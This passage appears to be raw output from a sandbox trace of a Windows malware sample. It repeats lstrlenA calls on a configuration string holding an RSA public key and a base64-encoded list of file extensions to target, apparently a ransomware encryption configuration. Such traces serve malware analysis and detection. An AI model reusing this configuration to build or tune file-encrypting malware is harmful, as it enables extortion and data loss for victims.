sIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.134] lstrlenA 